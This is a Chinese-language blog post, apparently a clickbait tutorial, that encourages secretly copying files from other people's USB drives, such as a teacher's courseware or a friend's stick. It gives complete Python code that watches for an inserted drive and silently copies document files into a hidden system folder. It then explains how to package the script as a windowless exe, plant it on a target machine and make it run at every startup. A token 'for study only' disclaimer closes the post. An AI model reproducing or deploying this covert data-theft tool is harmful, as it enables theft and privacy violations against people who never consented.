室友居然用Python把我U盘里的小电影都给复制走了!

230 阅读2分钟

当老师讲完课,你是否想过如果把他U盘里的课件(da;an)全拷过来该多好;当朋友用你的电脑时,你是否想看看他的U盘里有哪些好东西?

借助python写几行代码,转换为exe,运行在后台,自动扫描,复制,嗯,一气呵成。

我室友就是用这种操作把我珍藏许久的小电影都给偷走了,怪不得日渐消瘦!

1、code

import os

import shutil

import datetime

import time

usb_path = 'G:\\' # 插上U盘的盘符,自行修改

save_path = 'C:\\Program Files\\Common Files\\Usb Files\\' # 保存的位置,隐蔽点,自行修改

extension_list = ['txt', 'pdf', 'wps', 'doc', 'xls', 'ppt', 'docx', 'xlsx', 'pptx'] # 你要拷贝哪些数据,自行修改

while True: # 每隔20s扫描一次U盘是否插入

if os.path.exists(usb_path): # 检测到U盘插入

file_list = []

for root, dirs, files in os.walk(usb_path): # 遍历U盘所有文件

for filename in files:

if filename[-3:] in extension_list or filename[-4:] in extension_list: # 匹配扩展名

file_list.append(os.path.join(root, filename)) # 获取的你需要的文件绝对路径

for file in file_list:

save_dir = datetime.datetime.now().strftime('%Y%m%d_%H_%M') # 根据日期时间新建文件夹

file_dir = os.path.dirname(file)[3:] # U盘里该文件所在的递归目录,需要把拷贝的文件还原其所在位置

file_path = os.path.join(save_path, save_dir, file_dir) # 文件具体保存位置的完整路径

if not os.path.exists(file_path):

os.makedirs(file_path)

shutil.copy(file, file_path) # 复制中……

break # 复制完成后退出

else:

time.sleep(20) # 每隔20s扫描一次U盘

2、to exe

pyinstaller -F -w 'path' # path为你的.py文件所在位置绝对路径

1

3、run

把生成的exe程序拷贝到目标电脑上的隐蔽位置:

(1)双击,会运行在后台,待U盘插入……

(2)把该exe放到“启动”文件夹中,这样每次电脑启动就会自动后台运行,拷贝。

最后,此文章仅供个人学习、研究之用,禁止用于其它商业用途,否则将追究法律责任!

近期有很多朋友通过私信咨询有关Python学习问题。为便于交流,点击蓝色自己加入讨论解答资源基地